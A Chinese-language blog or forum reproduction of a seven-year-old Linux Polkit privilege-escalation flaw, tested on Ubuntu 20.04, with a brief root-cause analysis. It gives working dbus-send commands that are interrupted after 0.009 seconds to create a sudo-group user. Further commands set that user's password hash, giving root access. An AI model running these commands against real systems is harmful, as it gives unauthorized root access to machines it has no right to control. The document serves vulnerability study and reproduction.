6月3号,RedHat修复了一个存在七年的权限提升漏洞,该漏洞通过Linux Polkit 来创建新的root用户
Polkit 是linux下的一个系统服务,允许特权进程给非特权进程提供服务
Polkit 则会根据特权进程提供的信息和权限配置文件进行认证
认证完成后将认证结果返回给特权进程
特权进程会根据认证结果来决定是否给非特权进程提供服务
而我们在认证操作中断开连接,导致无法获取认证结果
具体后边会详细分析
由于systemd使用Polkit,所以几乎所有使用systemd的Linux都自带polkit
环境:ubuntu20.04
d14K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8r3g2S2M7$3g2K6i4K6u0W2N6h3u0#2L8Y4c8#2i4K6u0W2j5$3!0E0i4K6u0r3x3U0m8Q4x3X3f1H3y4q4)9J5c8Y4g2T1N6h3&6@1N6g2)9J5k6o6t1H3i4K6u0W2x3o6c8Q4x3X3f1J5i4K6u0W2x3q4)9J5k6r3c8W2M7$3E0@1L8%4m8Q4x3X3c8S2L8h3b7$3y4q4)9J5k6h3W2K6L8H3`.`.
ssh( 在本地ssh下操作)
sudo apt install ssh
sudo service ssh start
ssh username@127.0.0.1
具体为什么要用ssh,这里不做赘述,可以自行百度dbus
dbus-send发送D-Bus消息的工具,主要用于测试
可以通过dbus-send从命令行触发polkit
通过dbus-send构造语句,来创建一个新用户
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:yunku string:"YunKuSec" int32:1

正常情况返回肯定是认证不通过的
上面说了通过中断来实现认证通过
所以继续构造语句
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:yunku string:"YunKuSec" int32:1 & sleep 0.009s ; kill $!
这里是开始执行后0.009秒断开连接
这里多久断开连接要看具体执行时间,可以在前面加time 测试
我这里大概时间在0.015秒左右,所以我提前在0.009秒断开,具体测试时看执行时间


运气比较好,一次就成了,有个可能运气不太好,需要多试个千八百次的
然后用 id 可以看到语句中构造的yunku 已经存在了,而且在sudo组,具有root权限
现在已经成功利用漏洞创建了用户,但是该用户没有用户名,所以无法登陆
继续构造语句来设置密码
这里涉及到一个知识点,dbus接口设置密码需要通过散列值
通过openssl可以生成散列值(-5是指定 sha256 算法来生成散列值, -6 是 sha512,-1 是 md5)
openssl passwd -5 password
(这里password是个人需要设置的密码)

构造设置密码语句(User1001 是创建的sudo用户uid 可以通过id 用户名查看, string 后放置密码散列值)
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$P28GOS55linQ0Fe/$2dn4a1duWxR9wFIYeO7qfO7ieDZvE25zPh1oxm3/Pn6' string:Whatever & sleep 0.009s ; kill $!

多试这个也需要多试几次
成功之后可以登陆尝试

至此,复现结束!
通过dbus创建新用户时,dbus-send向account-daemon发起请求会先发送到dbus-daemon
dbus-daemon会先添加dbus id(这里方便理解 id为 10)到请求中,然后将请求发给account-daemon
account-daemon收到请求后向poklit询问id为10的连接有没有权限
poklit向dbus-daemon询问该连接的uid
如果返回的uid为0,就授权,否则打开验证密码窗口让用户输入密码
以上步骤完成后
poklit返回true给account-daemon
[培训]科锐逆向工程师培训第53期2025年7月8日开班!